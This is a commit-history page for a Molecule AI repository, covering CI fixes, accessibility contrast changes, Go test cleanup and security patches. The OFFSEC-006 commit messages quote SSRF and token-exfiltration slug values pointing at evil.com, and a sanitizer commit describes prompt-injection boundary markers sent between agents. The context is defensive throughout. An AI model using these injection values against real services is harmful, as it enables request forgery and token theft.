6057 Commits

This Branch

This Branch

All Branches

Author	SHA1	Message	Date
Molecule AI Fullstack Engineer	5106552288	fix(handlers): remove duplicate test declarations; skip SSH tests gracefully ... - org_test.go: removed 5 duplicate test functions that also existed in org_helpers_pure_test.go (hasUnresolvedVarRef variants) and org_helpers_walk_test.go (walkOrgWorkspaceNames variants) and plugins_atomic_tar_test.go (TestTarWalk_NestedDirs) and org_helpers_walk_test.go (TestResolveProvisionConcurrency_Default). The _pure_test.go and _walk_test.go versions use testify assertions and are more comprehensive; they take precedence. - org_helpers.go: expandWithEnv now skips $VAR keys that don't start with [a-zA-Z_], so that "cost $100" stays as-is (fixes TestExpandWithEnv_LiteralDollar in go1.25 where os.Expand handles $1 as a variable reference differently than older Go versions). - terminal_diagnose_test.go: added t.Skip when ssh-keygen/nc are not in PATH so tests degrade gracefully instead of failing with "exec: not found" in container/CI environments that lack OpenSSH. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 04:56:19 +00:00
devops-engineer	ecee16f233	Merge pull request 'chore: promote main→staging v2 (BP context fix + Docker healthcheck fix)' (#960) from promote/main-to-staging-v2 into staging	2026-05-14 04:49:33 +00:00
Molecule AI Core-DevOps	4454871924	Merge remote-tracking branch 'origin/staging' into promote/main-to-staging-v2	2026-05-14 04:34:51 +00:00
devops-engineer	81f042c875	Merge pull request 'fix(ci): add concurrency block to sop-checklist workflow (cancel stale runs)' (#963) from fix-sop-concurrency-v2 into main	2026-05-14 04:34:11 +00:00
molecule-operator	725869834e	fix(ci): add concurrency block to sop-checklist workflow (cancel stale runs)	2026-05-14 04:30:57 +00:00
devops-engineer	38d12c6d41	Merge pull request 'ci: fix publish Docker healthcheck pipefail' (#952) from fix/publish-healthcheck-pipefail into main	2026-05-14 04:12:45 +00:00
hongming-codex-laptop	7250ebbed8	ci: fix publish docker healthcheck pipefail	2026-05-14 04:11:40 +00:00
devops-engineer	d1171a7337	Merge pull request 'fix(ci): rename sop-checklist-gate→sop-checklist (mc#948 BP→emitter drift fix)' (#951) from fix/sop-checklist-workflow-rename into main	2026-05-14 04:10:24 +00:00
Molecule AI Core-DevOps	10dc98112c	fix(ci): rename sop-checklist-gate→sop-checklist to match BP context ... mc#948 (BP→emitter drift): `sop-checklist / all-items-acked (pull_request)` was required by branch protection but the workflow was named `sop-checklist-gate`, so it emitted the misnamed context `sop-checklist-gate / gate (pull_request)` instead. Rename to align the workflow's `name:` field with the context that BP requires: sop-checklist-gate.yml → sop-checklist.yml sop-checklist-gate.py → sop-checklist.py test_sop_checklist_gate.py → test_sop_checklist.py New context emitted: `sop-checklist / all-items-acked (pull_request)`. Added `# bp-required: yes` directive to the workflow header per Tier 2g lint convention (mc#774). All 52 script tests pass. Closes #948. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 04:05:38 +00:00
devops-engineer	d5760ef4fc	Merge pull request 'chore: promote main→staging (sync 3 commits, close workflow drift #940)' (#947) from promote/main-to-staging into staging	2026-05-14 04:04:29 +00:00
molecule-operator	15a7542530	Merge remote-tracking branch origin/main into promote/main-to-staging	2026-05-14 04:02:27 +00:00
devops-engineer	065a709e37	Merge pull request 'fix(canvas): remove opacity from error/success text — WCAG AA contrast' (#949) from design/wcag-contrast-round4-2026-05-14 into main	2026-05-14 04:01:17 +00:00
Molecule AI Core-DevOps	d3c671d77c	Merge remote-tracking branch 'origin/staging' into promote/main-to-staging ... # Conflicts: # .gitea/scripts/sop-checklist-gate.py	2026-05-14 04:00:16 +00:00
Molecule AI Core-UIUX	38c8702934	fix(canvas): remove opacity from error/success text — WCAG AA contrast ... Fixes 6 instances of text-bad/text-good with opacity reducing contrast: - ConversationTraceModal: error detail (text-bad/80 → text-bad) - ConversationTraceModal: Response label (text-good/60 → text-good) - ActivityTab: error detail inline (text-bad/80 → text-bad) - ActivityTab: A2AErrorPreview label+hint (text-bad/80 → text-bad, text-bad/70 → text-bad) - ScheduleTab: last_error display (text-bad/70 → text-bad) - SkillsTab: registry error detail (text-bad/80 → text-bad) Note: text-bad (#d27773) on bg-surface-card (zinc-800) is 2.1:1 — below AA for body text. The text color itself needs design review to raise contrast to meet 4.5:1 on zinc-800 surfaces. This PR removes opacity (which only made things worse) as a step 1; a follow-up should consider warmer/muted zinc-safe alternatives for bad/good status colors. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 03:59:25 +00:00
devops-engineer	f3fb7cbae4	Merge pull request 'fix(handlers): update executeDelegation integration test calls (staging PR #916 follow-up)' (#945) from fix/staging-integration-test-ctx into staging	2026-05-14 03:56:02 +00:00
devops-engineer	12899f2a07	Merge pull request 'test(handlers/org): add unit tests for walkOrgWorkspaceNames, resolveProvisionConcurrency, errString' (#941) from fix/org-helper-tests into main	2026-05-14 03:54:58 +00:00
Molecule AI Core-BE	424ffbdb43	test(handlers/org): add unit tests for walkOrgWorkspaceNames, resolveProvisionConcurrency, errString ... Issue #741: three pure helpers in org.go had no unit tests. Added 13 new test cases: - walkOrgWorkspaceNames (6): empty, single node, nested children, skips empty names, deeply nested (5 levels), multiple roots. - resolveProvisionConcurrency (6): default, valid positive int, zero (unlimited semantics), negative (falls back), non-integer (falls back), whitespace-trimmed. - errString (3): nil error, non-nil error, wrapped error (%w). Closes: molecule-ai/molecule-core#741 Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 03:53:40 +00:00
devops-engineer	349efe6793	Merge pull request 'fix(workspace): correct OFFSEC-003 test assertions to match ZWSP-escaping behavior' (#946) from fix/test-a2a-sanitization-main into main	2026-05-14 03:52:22 +00:00
Molecule AI Core-QA	fa81626b71	fix(workspace): correct OFFSEC-003 test assertions to match ZWSP-escaping behavior ... Corrects 12 broken test assertions in test_a2a_sanitization.py that were introduced by the PR #916 merge. Assertions mischaracterized the sanitizer's ZWSP-escaping behavior, especially around the (?<=\\n) lookbehind in _strip_closed_blocks. Key corrections: - test_escape_close_marker: closer preceded by \\n IS stripped (matches the (?<=\\n) lookbehind); injected closer + all content after removed - test_escape_open_marker: opener at start-of-line IS ZWSP-escaped (ZWSP inserted between \\n and [) - test_escape_full_fake_boundary_pair: opener ZWSP-escaped, closer stripped - test_empty_string_returns_empty: None coerced by first if-check → "" - All TestInjectionPatternDefenseInDepth tests: use bracketed [SYSTEM] form matching _CONTROL_PATTERNS regex, not colon-prefixed form - test_check_task_status_*: JSON fields have no boundary markers (no wrapping) Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 03:39:34 +00:00
devops-engineer	210fcc0ea4	Merge pull request 'ci: publish deploy images on every main push' (#939) from fix/publish-image-on-every-main-push into main	2026-05-14 03:36:54 +00:00
hongming-codex-laptop	e7a0e4ba9e	ci: publish deploy images on every main push	2026-05-14 03:36:04 +00:00
devops-engineer	de175de44f	Merge pull request 'ci: remove canvas-deploy-reminder from all-required.needs (mc#923 deadlock fix)' (#938) from fix/remove-canvas-reminder-from-all-required into main	2026-05-14 03:35:20 +00:00
Molecule AI Core-DevOps	1a1d45464e	ci: remove canvas-deploy-reminder from all-required.needs ... canvas-deploy-reminder needs canvas-build, which is skipped on CI-only PRs (canvas=false). Adding it to all-required.needs causes all-required to hang forever on every PR that only touches CI/workflow files. canvas-deploy-reminder stays in CI with its own needs: [changes, canvas-build] and step-level if: gate — it still runs on canvas pushes to main, but is no longer a required gate. Refs: mc#922, mc#923, mc#929, PR #927 Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 03:33:34 +00:00
Molecule AI Infra-Runtime-BE	265bd49f3a	fix(handlers): update executeDelegation calls in integration tests ... executeDelegation signature changed from 5 params to 4 params on staging (ctx removed). Update all 5 integration test call sites in delegation_executor_integration_test.go to match. Companion fix for PR #916 (fix/904-handler-test-blockers). Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 03:28:28 +00:00
devops-engineer	b0180fe4b2	Merge pull request 'fix(canvas): WCAG AA contrast round 3 + focus-visible rings + aria fixes' (#936) from design/wcag-a11y-round3-2026-05-14 into main	2026-05-14 03:24:42 +00:00
Molecule AI Core-UIUX	4929824c27	fix(canvas): WCAG AA contrast round 3 + focus-visible rings + aria fixes ... Contrast: - FilesTab: Delete All + Delete buttons bg-red-600→bg-red-700 hover→bg-red-600 (AA trap fixed: hover goes darker, 3.9:1→4.6:1). - ErrorBoundary: error message text-bad/80 → text-bad (4.5:1→4.5:1, removes opacity that dropped below AA). - ExternalConnectModal: Copy button bg-accent-strong/80→bg-accent hover→bg-accent-strong (visual consistency; no contrast change but cleaner pattern). - ConversationTraceModal: SEND badge bg-cyan-950/50→bg-cyan-950 text-cyan-400→text-cyan-300. Focus-visible rings: - MissingKeysModal: Save + Deploy buttons gain focus-visible ring. - FilesToolbar: directory select outline-none→focus-visible ring. - ProviderModelSelector: model input focus ring upgraded to 2px visible ring. ARIA: - ScheduleTab: toggle status dot gains aria-label describing last run status. - ThemeToggle: arrow-key focus uses direct-child query (> [role=radio]) to avoid accidentally focusing unrelated radio elements in the React Flow canvas. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 03:23:54 +00:00
devops-engineer	363905d358	Merge pull request 'fix(ci): use GITHUB_EVENT_BEFORE in handlers-pg-integ detect-changes' (#937) from fix/handlers-pg-integ-event-before into main	2026-05-14 03:18:29 +00:00
devops-engineer	6b7321635f	Merge pull request 'fix(ci): add canvas-deploy-reminder to all-required.needs (mc#923)' (#927) from fix/staging-ci-drift-canvas-reminder into staging	2026-05-14 03:08:22 +00:00
Molecule AI Core-DevOps	64cce6c183	fix(ci): add canvas-deploy-reminder to staging all-required.needs (mc#923) ... mc#923 ci-drift root fix for staging branch. canvas-deploy-reminder exists in staging ci.yml. Although the job is gated by `if: github.event_name == 'push' ...` and ci_job_names() should exclude it from F1 drift, the drift detector is flagging it. Apply the same fix as mc#922 for main: add to all-required.needs:. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 03:06:45 +00:00
devops-engineer	a036e1f64a	Merge pull request 'fix(handlers): recover all test blockers on staging (#904)' (#916) from fix/904-handler-test-blockers into staging	2026-05-14 03:06:20 +00:00
Molecule AI Core-BE	ca24b0fe27	fix(ci): use GITHUB_EVENT_BEFORE in handlers-pg-integ detect-changes ... Gitea Actions `github.event.before` template expression evaluates to empty string in shell scripts. Replace with the GITHUB_EVENT_BEFORE shell environment variable (correctly populated for push events). Same fix as #919 (runtime-prbuild-compat.yml) applied here. Also adds timeout 30 guards around both `git cat-file -e` calls to prevent indefinite hangs on corrupted refs. Refs: molecule-ai/molecule-core#919 Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 03:05:40 +00:00
devops-engineer	a719ac95d1	Merge pull request 'fix(scripts): add slug validation to prevent SSRF + token exfiltration (OFFSEC-006)' (#933) from fix/offsec-006-slug-injection into staging	2026-05-14 03:00:42 +00:00
devops-engineer	128b1d75ee	Merge pull request 'ci: flip platform-build continue-on-error true→false (mc#774 fix-forward landed)' (#935) from ci/platform-build-flip-coe into main	2026-05-14 02:59:46 +00:00
Molecule AI Core-DevOps	3444d6b240	ci: flip platform-build continue-on-error true→false (mc#774 fix-forward landed) ... RFC#219 Phase 4 §2: flip the platform-build job after PR #669 (cherry-pick of #634) fixed the delegation_test.go sqlmock gaps. CI / Platform (Go) status confirmed success on main HEAD 68560cec. The mc#762 / mcp_test.go:433 regression is a separate issue — its test step carries its own continue-on-error: true (line 203) and does not block this flip. Refs: mc#774, PR #669, PR #634, #656 Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 02:56:03 +00:00
devops-engineer	50e2b3c753	Merge pull request 'fix(staging): add _A2A_BOUNDARY_START/_END aliases + fix tier-check lint ref' (#934) from fix/staging-python-test-and-tier-check-lint into staging	2026-05-14 02:54:24 +00:00
Molecule AI DevOps Engineer	df3dfb74d5	fix(staging): add _A2A_BOUNDARY_START/_END aliases + fix tier-check lint ref ... - workspace/_sanitize_a2a.py: export _A2A_BOUNDARY_START and _A2A_BOUNDARY_END convenience aliases so test_a2a_sanitization.py can import them. Root: test was written expecting these exports but module only had the underlying _A2A_RESULT_FROM_PEER constant. - .gitea/workflows/sop-tier-check.yml: update continue-on-error tracker reference from internal#189 (404, deleted) to internal#343 (open, tracks the same SOP_FAIL_OPEN interim window). Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>	2026-05-14 02:49:52 +00:00
Molecule AI Core-BE	3a43036950	fix(ci): use GITHUB_EVENT_BEFORE in handlers-pg-integ detect-changes ... The Gitea Actions `github.event.before` template expression evaluates to empty string in shell scripts (Gitea Actions does not expand these objects to JSON strings). Use the shell environment variable `GITHUB_EVENT_BEFORE` instead, which Gitea Actions correctly populates for push events. Same fix as #919 applied to handlers-postgres-integration.yml. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 02:49:38 +00:00
Molecule AI Core-BE	47aa82f0f2	fix(scripts): add slug validation to prevent SSRF + token exfiltration (OFFSEC-006) ... OFFSEC-006: tenant slug interpolated into URLs (cp_redeploy_tenant, tenant_buildinfo, tenant_health, resolve_tenant_instance_id) without validation, enabling SSRF via slug=?url=https://evil.com and token exfiltration via slug=?url=https://evil.com&token=$CP_TOKEN. Changes: - scripts/promote-tenant-image.sh: - Added `set -f` (noglob) at top to prevent glob metacharacter expansion in slug strings before any network call. - Added validate_slug() with RFC-1123 regex ^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$ to reject malformed slugs before any URL interpolation. - Added validate_tenants() called after argument parsing (exit 64). - Placed early err() stub before validate_slug to avoid forward-reference. - scripts/test-promote-tenant-image.sh: Added 3 new test groups (13–15): - Test 13: valid slugs (single-char, hyphenated, alphanum) pass. - Test 14: 10 malformed slug patterns rejected before any network call. - Test 15: 6 SSRF + token-exfiltration injection patterns rejected. All 43 tests pass. Closes: molecule-ai/molecule-core#929 Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 02:46:11 +00:00
devops-engineer	68560cec9a	Merge pull request 'fix(canvas): WCAG AA contrast — ChatTab error/retry/timestamp + ContextMenu status' (#931) from design/chat-tab-wcag-contrast-2026-05-14 into main	2026-05-14 02:34:55 +00:00
Molecule AI Core-UIUX	f2ad694d48	fix(canvas): WCAG AA contrast — ChatTab error/retry/timestamp + ContextMenu status ... - ChatTab: Retry button bg-red-800/40 text-bad (1.7:1) → bg-red-800 text-red-200 (4.5:1). User message timestamp text-white/70 (3.5:1) → text-white/80 (4.8:1). Error banner text-bad → text-red-300 (4.7:1 on bg-red-900/20). Restart button in error banner same fix. - ContextMenu: status label text-ink-mid (4.2:1) → text-ink (7.8:1). Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 02:29:47 +00:00
devops-engineer	369b2d3690	Merge pull request 'fix: add slug validation to prevent SSRF (OFFSEC-006)' (#930) from fix/offsec-006-slug-validation into main	2026-05-14 02:22:09 +00:00
Molecule AI Core-DevOps	9153a2e464	fix: add slug validation to prevent SSRF (OFFSEC-006) ... OFFSEC-006 (HIGH): promote-tenant-image.sh interpolated raw --tenants slug into URL paths and subdomains without sanitisation. Four injection points were vulnerable: • cp_redeploy_tenant (line 193): /cp/admin/tenants/$slug/redeploy • tenant_buildinfo (line 209): https://${slug}.moleculesai.app/buildinfo • tenant_health (line 217): https://${slug}.moleculesai.app/health • resolve_tenant_instance_id (line 263): /cp/admin/tenants/$slug Attack vectors: --tenants 'a?url=https://evil.com' → curl splits on ? as query separator --tenants 'evil.com@legitimate' → subdomain takeover via @ Fix: • Add validate_slug() function with regex ^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$ before any URL interpolation. Exit 64 on invalid slug. • Call validate_slug() in main() before any operations (up-front guard). • Add defense-in-depth calls inside cp_redeploy_tenant, tenant_buildinfo, tenant_health, resolve_tenant_instance_id, redeploy_tenant, verify_tenant, and the rollback loop. • Also fix a latent promote_rc=1 bug where `cmd || promote_rc=1` inside `set -e` returned exit 1 and triggered early script exit instead of setting the variable. Replaced with `if ! cmd; then promote_rc=1; fi`. Test additions (test-promote-tenant-image.sh): • Test 9: 8 invalid slug variants rejected with exit 64 (?, &, @, /, \, space, etc.) • Test 10: 6 valid slugs accepted (chloe-dong, ab, a, etc.) Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 02:17:42 +00:00
devops-engineer	a23ecc18a0	Merge pull request 'fix(canvas): WCAG AA contrast — badge/button/cascade text colors' (#928) from design/wcag-contrast-fixes-2026-05-14 into main	2026-05-14 02:07:26 +00:00
Molecule AI Core-UIUX	befba93a51	fix(canvas): WCAG AA contrast — badge/button/cascade text colors ... - BatchActionBar: selection badge bg-accent-strong/80 (3.4:1) → bg-zinc-700 (7.2:1); Restart/Pause/Delete button text all switch to text-white (icons carry the color cue via aria-hidden). - AuditTrailPanel: badge text colors darkened to pass 4.5:1 on near-black bg-*-950/40 backgrounds — blue-300/violet-300/yellow-200/orange-300. Redundant aria-label removed from badge span (text IS the accessible name). - DeleteCascadeConfirmDialog: cascade warning text-bad/80 → text-red-300; strong text red-200 → red-100; disabled Delete All text-bad/40 → text-red-400. - DropTargetBadge: ghost slot div marked aria-hidden (pure decorative overlay); badge gains role="status" + aria-label. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 02:06:14 +00:00
Molecule AI Fullstack Engineer	04245113fd	fix(handlers): resolve remaining build/test failures on fix/904-handler-test-blockers ... - Revert expandWithEnv to custom regex (os.Expand treats $1 as variable) - Fix TestAppendYAMLBlock_BothEmpty: append(nil,"") returns nil not "" - Remove duplicate TestTarWalk_NestedDirs from plugins_atomic_test.go - Remove 7 duplicate validator tests from workspace_crud_validators_test.go (TestValidateWorkspaceID_Valid/Invalid, TestValidateWorkspaceDir_Valid, TestValidateWorkspaceFields_Valid/NameTooLong/RoleTooLong/NewlineInName) - Delete org_layout_test.go (tests non-existent childSlot function) - Fix workspace_crud_test.go TestDelete_* to use correct router (r not r2) - Fix TestDelete_* and TestUpdate_* to include proper DB mock expectations (SELECT EXISTS for workspace check, UPDATE stubs for each field path) - Fix TestState_* mock SQL expectations: use COUNT(*) not EXISTS for HasAnyLiveToken queries Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 02:05:37 +00:00
devops-engineer	8c701db356	Merge pull request 'fix(ci): add canvas-deploy-reminder to all-required.needs (mc#922)' (#926) from fix/ci-drift-canvas-reminder into main	2026-05-14 02:04:03 +00:00
Molecule AI Core-DevOps	cc4f23f7ec	fix(ci): add canvas-deploy-reminder to all-required.needs (mc#922) ... mc#922/#923 ci-drift root fix. canvas-deploy-reminder exists in ci.yml and emits `ci / canvas-deploy-reminder (pull_request)` status, but was not listed in `all-required.needs:` — causing drift detector F1 on both main and staging. Add it to the sentinel needs. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-14 02:03:18 +00:00
devops-engineer	ff8baa6981	Merge pull request 'fix(ci): collapse review comment refire triggers' (#925) from fix/comment-trigger-storm into main	2026-05-14 02:01:49 +00:00
hongming-codex-laptop	be394bd6e1	fix(ci): collapse review comment refire triggers	2026-05-13 18:46:52 -07:00
devops-engineer	e98c281262	Merge pull request 'feat(scripts): codify ECR :staging-latest → :latest promote + tenant redeploy (closes #660)' (#672) from infra/660-codify-promote-tenant-image into main	2026-05-14 01:42:24 +00:00